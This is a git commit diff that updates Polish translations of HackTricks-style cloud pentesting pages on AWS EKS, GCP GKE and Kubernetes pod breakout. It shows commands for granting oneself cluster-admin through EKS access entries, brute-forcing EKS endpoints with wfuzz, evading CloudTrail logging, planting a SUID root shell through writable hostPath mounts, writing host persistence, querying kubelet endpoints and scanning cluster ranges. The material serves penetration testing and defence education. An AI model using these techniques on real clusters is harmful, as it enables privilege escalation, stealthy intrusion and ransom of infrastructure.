Translated ['', 'src/pentesting-cloud/kubernetes-security/attacking-kube

This commit is contained in:
Translator
2026-07-09 09:19:57 +00:00
parent d6a166ac33
commit cf44d7c4e2
11 changed files with 717 additions and 454 deletions
@@ -4,7 +4,7 @@
## EKS
Aby uzyskać więcej informacji, sprawdź
Więcej informacji znajdziesz w
{{#ref}}
../../aws-services/aws-eks-enum.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź
### Enumerate the cluster from the AWS Console
Jeśli masz uprawnienie **`eks:AccessKubernetesApi`**, możesz **view Kubernetes objects** przez AWS EKS console ([Dowiedz się więcej](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
Jeśli masz uprawnienie **`eks:AccessKubernetesApi`**, możesz **view Kubernetes objects** przez AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
### Connect to AWS Kubernetes Cluster
@@ -21,11 +21,11 @@ Jeśli masz uprawnienie **`eks:AccessKubernetesApi`**, możesz **view Kubernetes
# Generate kubeconfig
aws eks update-kubeconfig --name aws-eks-dev
```
- Nie tak łatwy sposób:
- Nie tak prosty sposób:
Jeśli możesz **uzyskać token** za pomocą **`aws eks get-token --name <cluster_name>`**, ale nie masz uprawnień do pobrania informacji o klastrze (describeCluster), możesz **przygotować własny `~/.kube/config`**. Jednak mając token, nadal potrzebujesz **url endpointu, z którym się połączysz** (jeśli udało ci się uzyskać token JWT z poda, przeczytaj [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) oraz **nazwy klastra**.
Jeśli możesz **uzyskać token** za pomocą **`aws eks get-token --name <cluster_name>`**, ale nie masz uprawnień do pobrania informacji o klastrze (describeCluster), możesz **przygotować własny `~/.kube/config`**. Jednak mając token, nadal potrzebujesz **url endpoint, z którym można się połączyć** (jeśli udało ci się uzyskać token JWT z poda, przeczytaj [here](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) oraz **nazwy klastra**.
W moim przypadku nie znalazłem tych informacji w logach CloudWatch, ale **znalazłem je w LaunchTemaplates userData** oraz **także w maszynach EC2 w userData**. Możesz łatwo zobaczyć te informacje w **userData**, na przykład w następnym przykładzie (nazwa klastra była cluster-name):
W moim przypadku nie znalazłem tych informacji w logach CloudWatch, ale **znalazłem je w LaunchTemaplates userData** oraz również w **maszynach EC2 w userData**. Te informacje można łatwo zobaczyć w **userData**, na przykład w następnym przykładzie (nazwa klastra była cluster-name):
```bash
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
@@ -72,53 +72,53 @@ provideClusterInfo: false
### From AWS to Kubernetes
**creator** klastra **EKS** **ZAWSZE** będzie mógł dostać się do części klastra kubernetes należącej do grupy **`system:masters`** (admin k8s). W chwili pisania tego tekstu **nie ma bezpośredniego sposobu**, aby sprawdzić **kto utworzył** klaster (możesz to sprawdzić w CloudTrail). I **nie ma sposobu**, aby **usunąć** ten **privilege**.
Historycznie **creator** **EKS cluster** otrzymywał ukryty dostęp administratora Kubernetes, który nie był widoczny w `aws-auth`. W obecnych klastrach EKS zależy to od konfiguracji dostępu do klastra. `bootstrapClusterCreatorAdminPermissions` kontroluje, czy creator jest dodawany jako wpis dostępu cluster-admin podczas tworzenia, a wpisy dostępu EKS sprawiają, że ta ścieżka admina jest widoczna i możliwa do cofnięcia przez API EKS. Starsze klastry lub klastry, które nadal opierają się na `aws-auth`, mogą nadal mieć legacy zachowanie creatora, więc potwierdź `accessConfig`, wypisz wpisy dostępu i przejrzyj CloudTrail zamiast zakładać, że creator zawsze ma nieusuwalne `system:masters`.
#### Abusing configmap
Tradycyjny sposób nadawania **dostępu do K8s większej liczbie użytkowników lub ról AWS IAM** polega na użyciu **configmap** **`aws-auth`**.
Tradycyjnym sposobem nadania **access to over K8s to more AWS IAM users or roles** jest użycie **configmap** **`aws-auth`**.
> [!WARNING]
> Dlatego każdy, kto ma **prawo zapisu** do config map **`aws-auth`**, będzie mógł **compromise cały klaster**.
> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**.
Więcej informacji o tym, jak **nadawać dodatkowe uprawnienia rolom i użytkownikom IAM** w **tym samym lub innym koncie** oraz jak to **abuse** do [**privesc sprawdź tę stronę**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
Więcej informacji o tym, jak **grant extra privileges to IAM roles & users** w **tym samym lub innym account** oraz jak **abuse** tego do [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
Sprawdź też[ **ten świetny**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post, aby dowiedzieć się, jak działa uwierzytelnianie IAM -> Kubernetes**.
Sprawdź też[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post, aby dowiedzieć się, jak działa authentication IAM -> Kubernetes**.
#### Abusing Access Entries
AWS implementuje dodatkowy sposób nadawania użytkownikom IAM dostępu do klastra Kubernetes przez access entries. Jeśli masz uprawnienia `eks:CreateAccessEntry` i `eks:AssociateAccessPolicy`, możesz też przypisać rolę administratora Kubernetes swojemu użytkownikowi albo konkretnej roli.
AWS implementuje dodatkowy sposób nadawania IAM users dostępu do Kubernetes cluster przez access entries. Jeśli masz uprawnienia `eks:CreateAccessEntry` i `eks:AssociateAccessPolicy`, możesz także przypisać rolę administratora Kubernetes do swojego usera albo konkretnej roli.
Najpierw, **utwórz access entry dla swojego użytkownika lub roli**:
Najpierw **utwórz access entry dla swojego usera lub roli**:
```
aws eks create-access-entry --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --type STANDARD
```
Z utworzonym tym wpisem możesz teraz być w stanie przypisać do niego policy bezpośrednio. Istnieje wbudowana AWS policy o nazwie *AmazonEKSClusterAdminPolicy*, której można użyć bezpośrednio. Pamiętaj, że jeśli twoje środowisko ma jakieś inne niestandardowe policies, które także przyznają podwyższone privileges w EKS, możesz zmienić `--policy-arn` na dowolną z nich:
Gdy ten wpis został utworzony, możesz teraz przypisać do niego policy bezpośrednio. Istnieje wbudowana AWS policy o nazwie *AmazonEKSClusterAdminPolicy*, której można użyć bezpośrednio. Pamiętaj, że jeśli twoje środowisko ma jakieś inne custom policies, które również przyznają podwyższone uprawnienia w EKS, możesz zmienić `--policy-arn` na dowolną z nich:
```
aws eks associate-access-policy --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster
```
Możesz wyszukać tę politykę w oficjalnej dokumentacji AWS [**here**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy)
Od tego momentu możesz teraz być w stanie zażądać tokena *k8s* i interagować z klastrem jako administrator:
Od tego momentu możesz teraz być w stanie zażądać tokena *k8s* i wchodzić w interakcję z klastrem jako administrator:
```
aws eks get-token --cluster-name <cluster_name> --output json | jq -r '.status.token'
```
### From Kubernetes to AWS
Możliwe jest umożliwienie **OpenID authentication dla kubernetes service account**, aby mogły assume roles w AWS. Dowiedz się, jak [**to działa na tej stronie**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
Możliwe jest umożliwienie **OpenID authentication dla kubernetes service account**, aby mogły assume roles w AWS. Dowiedz się, jak [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
### GET Api Server Endpoint from a JWT Token
Dekodując JWT token, otrzymujemy cluster id i także region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Wiedząc, że standardowy format dla EKS url to
Dekodując token JWT, otrzymujemy cluster id i także region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Wiedząc, że standardowy format dla EKS url to
```bash
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
```
Nie znalazłem żadnej dokumentacji, która wyjaśnia kryteria dla „two chars” i „number”. Ale robiąc kilka testów z własnej strony widzę, że często powtarzają się te:
Nie znalazłem żadnej dokumentacji, która wyjaśnia kryteria dla „two chars” i „number”. Ale robiąc kilka testów, widzę, że często pojawiają się takie:
- gr7
- yl4
W każdym razie to tylko 3 chars, więc możemy je bruteforceować. Użyj poniższego skryptu do wygenerowania listy
Tak czy inaczej, to tylko 3 chars, możemy je bruteforce. Użyj poniższego skryptu do wygenerowania listy
```python
from itertools import product
from string import ascii_lowercase
@@ -134,7 +134,7 @@ for comb in product(letter_combinations, number_combinations)
with open('out.txt', 'w') as f:
f.write('\n'.join(result))
```
Następnie z wfuzz
Potem z wfuzz
```bash
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
```
@@ -143,21 +143,21 @@ wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws
### Bypass CloudTrail
Jeśli atakujący uzyska dane uwierzytelniające AWS z **uprawnieniami do EKS**. Jeśli atakujący skonfiguruje własny **`kubeconfig`** (bez wywoływania **`update-kubeconfig`**) jak opisano wcześniej, **`get-token`** nie generuje logów w Cloudtrail, ponieważ nie interaguje z API AWS (po prostu tworzy token lokalnie).
Jeśli atakujący uzyska poświadczenia AWS z **uprawnieniami do EKS**. Jeśli atakujący skonfiguruje własny **`kubeconfig`** (bez wywoływania **`update-kubeconfig`**) jak opisano wcześniej, **`get-token`** nie generuje logów w Cloudtrail, ponieważ nie interaguje z AWS API (po prostu tworzy token lokalnie).
Tak więc, gdy atakujący komunikuje się z klastrem EKS, **cloudtrail nie zapisze niczego związanego z kradzionym użytkownikiem i jego dostępem**.
Więc gdy atakujący komunikuje się z klastrem EKS, **cloudtrail nie zarejestruje niczego związanego z przejętym użytkownikiem i uzyskaniem dostępu**.
Zwróć uwagę, że **klaster EKS może mieć włączone logi**, które zapiszą ten dostęp (chociaż domyślnie są wyłączone).
Zwróć uwagę, że **klaster EKS może mieć włączone logi**, które zarejestrują ten dostęp (chociaż domyślnie są wyłączone).
### EKS Ransom?
Domyślnie **użytkownik lub rola, która utworzyła** klaster **ZAWSZE** będzie miała uprawnienia admina nad klastrem. I to jest jedyny „bezpieczny” dostęp, jaki AWS ma do klastra Kubernetes.
Domyślnie **użytkownik lub rola, która utworzyła** klaster, **ZAWSZE** będzie mi uprawnienia admina do klastra. I to jedyny „bezpieczny” dostęp, jaki AWS będzie miał do klastra Kubernetes.
Więc jeśli **atakujący skompromituje klaster używający fargate** i **usunie wszystkich innych adminów** oraz **usunie użytkownika/rolę AWS, która utworzyła** klaster, ~~atakujący mógłby **wymusić okup za klas~~**ter**.
Więc jeśli **atakujący skompromituje klaster używający fargate** i **usunie wszystkich pozostałych adminów** oraz **usunie użytkownika/rolę AWS, która utworzyła** klaster, ~~atakujący mógłby **wymusić okup za kluste**~~**r**.
> [!TIP]
> Zwróć uwagę, że jeśli klaster używał **EC2 VMs**, mogłoby być możliwe uzyskanie uprawnień Admin z **Node** i odzyskanie klastra.
> Zwróć uwagę, że jeśli klaster używał **EC2 VMs**, możliwe byłoby uzyskanie uprawnień Admin z **Node** i odzyskanie klastra.
>
> Właściwie, jeśli klaster używa Fargate, możesz dodać EC2 nodes albo przenieść wszystko do EC2 w klastrze i odzyskać go, uzyskując dostęp do tokenów na nodzie.
> W praktyce, jeśli klaster używa Fargate, możesz użyć EC2 nodes lub przenieść wszystko do EC2 w klastrze i odzyskać go, uzyskując dostęp do tokenów w node.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
## Kontenery
## Containers
W kontenerach GCP możesz znaleźć większość usług opartych na kontenerach, które oferuje GCP. Tutaj możesz zobaczyć, jak zenumerować te najczęściej spotykane:
W kontenerach GCP możesz znaleźć większość usług opartych na kontenerach, które oferuje GCP, tutaj możesz zobaczyć, jak je wyliczać:
```bash
gcloud container images list
gcloud container images list --repository us.gcr.io/<project-name> #Search in other subdomains repositories
@@ -24,7 +24,7 @@ sudo docker pull HOSTNAME/<project-name>/<image-name>
```
### Privesc
Na następującej stronie możesz sprawdzić, jak **nadużyć uprawnień kontenera, aby eskalować uprawnienia**:
Na następującej stronie możesz sprawdzić, jak **abuse container permissions to escalate privileges**:
{{#ref}}
../gcp-privilege-escalation/gcp-container-privesc.md
@@ -46,29 +46,29 @@ Aby uzyskać informacje o tym, czym jest Kubernetes, sprawdź tę stronę:
../../kubernetes-security/
{{#endref}}
Najpierw możesz sprawdzić, czy w twoim projekcie istnieją jakiekolwiek klastry Kubernetes.
Najpierw możesz sprawdzić, czy w twoim projekcie istnieją jakieś klastry Kubernetes.
```
gcloud container clusters list
```
Jeśli masz klaster, możesz pozwolić `gcloud` automatycznie skonfigurować plik `~/.kube/config`. Ten plik jest używany do uwierzytelniania podczas korzystania z [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), natywnego CLI do interakcji z klastrami K8s. Wypróbuj to polecenie.
Jeśli masz klaster, możesz sprawić, aby `gcloud` automatycznie skonfigurował plik `~/.kube/config`. Ten plik jest używany do uwierzytelniania cię, gdy korzystasz z [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), natywnego CLI do interakcji z klastrami K8s. Wypróbuj to polecenie.
```
gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
```
Następnie sprawdź plik `~/.kube/config`, aby zobaczyć wygenerowane credentials. Ten plik będzie używany do automatycznego odświeżania access tokens na podstawie tej samej identity, której używa Twoja aktywna sesja `gcloud`. Oczywiście wymaga to, aby były ustawione odpowiednie permissions.
Następnie spójrz na plik `~/.kube/config`, aby zobaczyć wygenerowane credentials. Ten plik będzie używany do automatycznego odświeżania access tokens na podstawie tej samej tożsamości, której używa Twoja aktywna sesja `gcloud`. Oczywiście wymaga to odpowiednich uprawnień.
Gdy to zostanie skonfigurowane, możesz spróbować następującego polecenia, aby pobrać cluster configuration.
Gdy to zostanie skonfigurowane, możesz spróbować następującego polecenia, aby pobrać konfigurację klastra.
```
kubectl cluster-info
```
Możesz przeczytać więcej o `gcloud` dla containers [here](https://cloud.google.com/sdk/gcloud/reference/container/).
Możesz przeczytać więcej o `gcloud` dla kontenerów [tutaj](https://cloud.google.com/sdk/gcloud/reference/container/).
To prosty skrypt do enumeracji kubernetes w GCP: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
### Current GKE identity and metadata checks
Podczas review nowoczesnych klastrów GKE rozdziel Google Cloud IAM permissions, Kubernetes RBAC, pod workload identity oraz node credentials. Google principal często może pobrać dane endpointu klastra przy użyciu `container.clusters.get`, ale wynikowe requests do Kubernetes nadal muszą przejść autoryzację GKE/Kubernetes oraz wszelkie restrykcje sieciowe, takie jak private endpoints lub authorized networks.
Podczas analizowania nowoczesnych klastrów GKE, rozdziel uprawnienia Google Cloud IAM, Kubernetes RBAC, pod workload identity oraz credentials węzłów. Principal Google często może pobrać dane endpointu klastra za pomocą `container.clusters.get`, ale wynikowe żądania Kubernetes nadal muszą przejść autoryzację GKE/Kubernetes i wszelkie ograniczenia sieciowe, takie jak private endpoints lub authorized networks.
Workload Identity Federation for GKE to preferowany sposób, aby pods uzyskiwały dostęp do Google Cloud APIs. Sprawdź, czy klaster ma workload pool i czy Kubernetes service accounts są mapowane bezpośrednio jako IAM principals, czy też mogą impersonate IAM service accounts:
Workload Identity Federation for GKE jest preferowanym sposobem, aby pody uzyskiwały dostęp do Google Cloud APIs. Sprawdź, czy klaster ma workload pool oraz czy Kubernetes service accounts są mapowane bezpośrednio jako IAM principals, czy też mogą impersonować IAM service accounts:
```bash
gcloud container clusters describe <cluster> --region <region> \
--format='value(workloadIdentityConfig.workloadPool)'
@@ -76,33 +76,47 @@ gcloud container clusters describe <cluster> --region <region> \
kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName'
```
Jeśli konto usługi ma adnotację `iam.gke.io/gcp-service-account`, przejrzyj politykę IAM konta usługi pod kątem przyznań `roles/iam.workloadIdentityUser` dla principals konta usługi Kubernetes. Sprawdź też polityki IAM allow pod kątem bezpośrednich principals workload identity lub szerokich zestawów principals.
Jeśli konto usługi ma adnotację `iam.gke.io/gcp-service-account`, sprawdź politykę konta usługi IAM pod kątem grantów `roles/iam.workloadIdentityUser` dla principalów kont usług Kubernetes. Sprawdź też allow policies IAM pod kątem bezpośrednich principalów Workload Identity lub szerokich grantów `principalSet://`, takich jak dostęp dla całego namespace albo całego klastra. Adnotacja `iam.gke.io/credential-quota-project` tylko przenosi quota IAM Service Account Credentials API do innego projektu; principal workload nadal potrzebuje `serviceusage.services.use` na tym projekcie quota oraz osobnego dostępu IAM do docelowego zasobu.
Dostęp do metadata zależy od trybu klastra, konfiguracji node pool i ustawień workload. Nie zakładaj, że każdy pod może ukraść node service account. W środowiskach z włączonym Workload Identity zwykłe pody powinny używać GKE metadata server, aby uzyskać workload identity przeznaczone dla ich Kubernetes service account. Przejęcie node, pody `hostNetwork` w niektórych konfiguracjach Standard oraz legacy exposure metadata node nadal mogą zmieniać blast radius, więc zweryfikuj rzeczywisty tryb metadata node pool, node service account, OAuth scopes oraz rozmieszczenie poda.
Dostęp do metadata zależy od trybu klastra, konfiguracji node pool i ustawień workload. Nie zakładaj, że każdy pod może ukraść konto usługi node. W środowiskach z Workload Identity zwykłe pody powinny używać GKE metadata server, aby uzyskać tożsamość workload przeznaczoną dla ich konta usługi Kubernetes. Compromise node, pody `hostNetwork` w niektórych konfiguracjach Standard oraz legacy exposure metadata node nadal mogą zmieniać blast radius, więc zweryfikuj rzeczywisty tryb metadata node pool, konto usługi node, zakresy OAuth i rozmieszczenie poda.
Jeśli pod z włączonym Workload Identity nie może uzyskać tokenu, sprawdź też egress NetworkPolicy, zanim uznasz, że bindowanie IAM jest błędne. Clusters GKE Standard używające NetworkPolicy muszą zezwalać na ścieżkę metadata-server wymaganą przez wersję klastra i dataplane, a Dataplane V2 używa ścieżki `169.254.169.254` do dostępu do metadata-server.
### Autopilot privileged workload allowlists
GKE Autopilot domyślnie blokuje większość privileged workloads, ale mogą istnieć zatwierdzone wyjątki. Przed założeniem, że privileged pod jest niemożliwy, sprawdź ustawienia privileged admission, obiekty `AllowlistSynchronizer` oraz zainstalowane obiekty `WorkloadAllowlist`:
```bash
gcloud container clusters describe <cluster> --region <region> \
--format='yaml(autopilot,privilegedAdmissionConfig,clusterPolicyConfig)'
kubectl get allowlistsynchronizers.auto.gke.io -A -o yaml
kubectl get workloadallowlists.auto.gke.io -A -o yaml
```
Allowlist paths can be GKE-owned (`gke://...`) or customer-owned Cloud Storage paths (`gs://...`). Wildcards and broad bucket paths increase the blast radius because future allowlist files under that path might become valid for the cluster. When a `WorkloadAllowlist` is installed, compare its exemptions and matching criteria to the pod spec, especially image digests, host namespaces, writable hostPath mounts, host ports, Linux capabilities, and whether `autopilot.gke.io/no-connect` prevents `exec` access to the privileged workload.
### TLS Boostrap Privilege Escalation
Początkowo ta technika privilege escalation pozwalała na **privesc wewnątrz klastra GKE**, skutecznie umożliwiając atakującemu **pełne przejęcie go**.
Initially this privilege escalation technique allowed to **privesc inside the GKE cluster** effectively allowing an attacker to **fully compromise it**.
Dzieje się tak, ponieważ GKE udostępnia w metadata poświadczenia [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), które są **dostępne dla każdego po prostu po przejęciu poda**.
This is because GKE provides [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) in the metadata, which is **accessible by anyone by just compromising a pod**.
Użyta technika jest wyjaśniona w następujących postach:
The technique used is explained in the following posts:
- [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/)
- [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/)
- [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)
A to narzędzie zostało stworzone, aby zautomatyzować ten proces: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
Ans this tool was created to automate the process: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
Jednak technika nadużywała faktu, że **za pomocą poświadczeń metadata** można było **wygenerować CSR** (Certificate Signing Request) dla **nowego node**, który był **automatically approved**.\
W moim teście sprawdziłem, że **te requesty nie są już automatycznie approved**, więc nie jestem pewien, czy ta technika nadal jest skuteczna.
However, the technique abused the fact that **with the metadata credentials** it was possible to **generate a CSR** (Certificate Signing Request) for a **new node**, which was **automatically approved**.\
In my test I checked that **those requests aren't automatically approved anymore**, so I'm not sure if this technique is still valid.
### Secrets in Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
W [**tym poście**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) odkryto adres Kubelet API dostępny z wnętrza poda w GKE, który podawał szczegóły uruchomionych podów:
In [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) it was discovered it was discovered a Kubelet API address accesible from inside a pod in GKE giving the details of the pods running:
```
curl -v -k http://10.124.200.1:10255/pods
```
Nawet jeśli API **nie pozwala modyfikować zasobów**, możliwe może być znalezienie **wrażliwych informacji** w odpowiedzi. Endpoint /pods został znaleziony przy użyciu [**Kiterunner**](https://github.com/assetnote/kiterunner).
Nawet jeśli API **nie pozwala modyfikować zasobów**, możliwe może być znalezienie **wrażliwych informacji** w odpowiedzi. Endpoint /pods został znaleziony za pomocą [**Kiterunner**](https://github.com/assetnote/kiterunner).
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,19 +4,19 @@
## **Pod Breakout**
**If you are lucky enough you may be able to escape from it to the node:**
**Jeśli masz szczęście, możesz z niego uciec na node:**
![Kubernetes pod breakout diagram showing attacker OS flow from a container through syscalls to the host kernel](https://sickrov.github.io/media/Screenshot-161.jpg)
### Escaping from the pod
In order to try to escape from the pods you might need to **escalate privileges** first, some techniques to do it:
Aby spróbować uciec z podów, możesz najpierw potrzebować **escalate privileges**, kilka technik, żeby to zrobić:
{{#ref}}
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
{{#endref}}
You can check this **docker breakouts to try to escape** from a pod you have compromised:
Możesz sprawdzić te **docker breakouts to try to escape** z poda, który skompromitowałeś:
{{#ref}}
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
@@ -24,16 +24,16 @@ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-secu
### Abusing writable hostPath/bind mounts (container -> host root via SUID planting)
If a compromised pod/container has a writable volume that maps directly to the host filesystem (Kubernetes hostPath or Docker bind mount), and you can become root inside the container, you can leverage the mount to create a setuid-root binary on the host and then execute it from the host to pop root.
Jeśli skompromitowany pod/container ma zapisywalny volume, który mapuje się bezpośrednio na filesystem hosta (Kubernetes hostPath lub Docker bind mount), i możesz stać się root wewnątrz container, możesz wykorzystać mount, aby utworzyć binarkę setuid-root na hoście, a następnie uruchomić ją z hosta, żeby dostać root.
Key conditions:
- The mounted volume is writable from inside the container (readOnly: false and filesystem permissions allow write).
- The host filesystem backing the mount is not mounted with the nosuid option.
- You have some way to execute the planted binary on the host (for example, separate SSH/RCE on host, a user on the host can execute it, or another vector that runs binaries from that path).
Kluczowe warunki:
- Zamontowany volume jest zapisywalny z wnętrza container (readOnly: false i uprawnienia filesystem pozwalają na zapis).
- Bazowy filesystem hosta dla tego mount nie jest zamontowany z opcją nosuid.
- Masz jakiś sposób, aby uruchomić podłożoną binarkę na hoście (na przykład osobne SSH/RCE na hoście, użytkownik na hoście może ją uruchomić albo inny wektor, który uruchamia binarki z tej ścieżki).
How to identify writable hostPath/bind mounts:
- With kubectl, check for hostPath volumes: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
- From inside the container, list mounts and look for host-path mounts and test writability:
Jak zidentyfikować writable hostPath/bind mounts:
- W kubectl sprawdź hostPath volumes: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
- Z wnętrza container wypisz mounty i szukaj host-path mounts oraz przetestuj możliwość zapisu:
```bash
# Inside the compromised container
mount | column -t
@@ -45,7 +45,7 @@ TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"
```
Wgraj binarny plik setuid root z kontenera:
Umieść binary setuid root z kontenera:
```bash
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
@@ -62,9 +62,9 @@ ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
```
Uwagi i rozwiązywanie problemów:
- Jeśli host mount ma nosuid, bity setuid będą ignorowane. Sprawdź opcje mount na hoście (cat /proc/mounts | grep <mountpoint>) i poszukaj nosuid.
- Jeśli nie możesz uzyskać ścieżki wykonania na hoście, podobne zapisywalne mounty można wykorzystać do zapisania innych artefaktów persistence/priv-esc na hoście, jeśli zmapowany katalog jest krytyczny z punktu widzenia bezpieczeństwa (np. dodaj klucz SSH roota, jeśli mount mapuje do /root/.ssh, wrzuć unit cron/systemd, jeśli mapuje do /etc, podmień binarny plik należący do roota w PATH, który host wykona, itd.). Wykonalność zależy wyłącznie od tego, jaka ścieżka jest zamontowana.
- Ta technika działa też z prostymi Docker bind mounts; w Kubernetes jest to zazwyczaj hostPath volume (readOnly: false) albo błędnie zakresowany subPath.
- Jeśli host mount ma nosuid, bity setuid zostaną zignorowane. Sprawdź opcje mount na hoście (cat /proc/mounts | grep <mountpoint>) i poszukaj nosuid.
- Jeśli nie możesz uzyskać host execution path, podobne writable mounts można wykorzystać do zapisania innych artefaktów persistence/priv-esc na hoście, jeśli mapowany katalog jest krytyczny dla bezpieczeństwa (np. dodaj root SSH key, jeśli mount mapuje się do /root/.ssh, wrzuć cron/systemd unit, jeśli mapuje się do /etc, podmień binarkę należącą do root, która jest w PATH i którą host wykona, itd.). Wykonalność zależy wyłącznie od tego, jaka ścieżka jest zamontowana.
- Ta technika działa również z zwykłymi Docker bind mounts; w Kubernetes jest to zwykle hostPath volume (readOnly: false) albo błędnie ograniczony subPath.
### Abusing Kubernetes Privileges
@@ -74,7 +74,7 @@ Jak wyjaśniono w sekcji o **kubernetes enumeration**:
kubernetes-enumeration.md
{{#endref}}
Zwykle pody są uruchamiane z **service account token** wewnątrz nich. To service account może mieć przypisane pewne **privileges**, które możesz **abuse** do **move** do innych podów, a nawet do **escape** do nodów skonfigurowanych w klastrze. Sprawdź jak w:
Zazwyczaj pody są uruchamiane z **service account token** wewnątrz nich. Temu service account mogą być przypisane pewne **privileges**, które możesz **abuse** do **move** do innych podów albo nawet do **escape** do node'ów skonfigurowanych w klastrze. Sprawdź, jak w:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
@@ -82,23 +82,23 @@ abusing-roles-clusterroles-in-kubernetes/
### Abusing Cloud Privileges
Jeśli pod działa w **cloud environment** możesz być w stanie l**eak a token from the metadata endpoint** i podnieść przy jego użyciu uprawnienia.
Jeśli pod działa w **cloud environment**, możesz być w stanie l**eak token z metadata endpoint** i użyć go do eskalacji uprawnień.
## Search vulnerable network services
Ponieważ jesteś wewnątrz środowiska Kubernetes, jeśli nie możesz podnieść uprawnień, abuseując bieżące privileges podów, i nie możesz uciec z kontenera, powinieneś **search potential vulnerable services.**
Ponieważ jesteś wewnątrz środowiska Kubernetes, jeśli nie możesz eskalować uprawnień, nadużywając uprawnień bieżących podów, i nie możesz escape z kontenera, powinieneś **search potential vulnerable services.**
### Services
**W tym celu możesz spróbować pobrać wszystkie usługi środowiska kubernetes:**
**W tym celu możesz spróbować pobrać wszystkie services środowiska kubernetes:**
```
kubectl get svc --all-namespaces
```
Domyślnie Kubernetes używa płaskiego schematu sieciowego, co oznacza, że **dowolny pod/service w klastrze może komunikować się z innymi**. **Namespace** w klastrze **nie mają domyślnie żadnych ograniczeń bezpieczeństwa sieciowego**. Każdy w namespace może komunikować się z innymi namespace.
Domyślnie Kubernetes używa płaskiego schematu sieciowego, co oznacza, że **dowolny pod/usługa w klastrze może komunikować się z innymi**. **Namespaces** w obrębie klastra **nie mają domyślnie żadnych ograniczeń bezpieczeństwa sieciowego**. Każdy w namespace może komunikować się z innymi namespaces.
### Scanning
Poniższy skrypt Bash (pochodzący z [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) zainstaluje i przeskanuje zakresy IP klastra kubernetes:
Następujący skrypt Bash (pochodzący z [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) zainstaluje i przeskanuje zakresy IP klastra kubernetes:
```bash
sudo apt-get update
sudo apt-get install nmap
@@ -117,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover
```
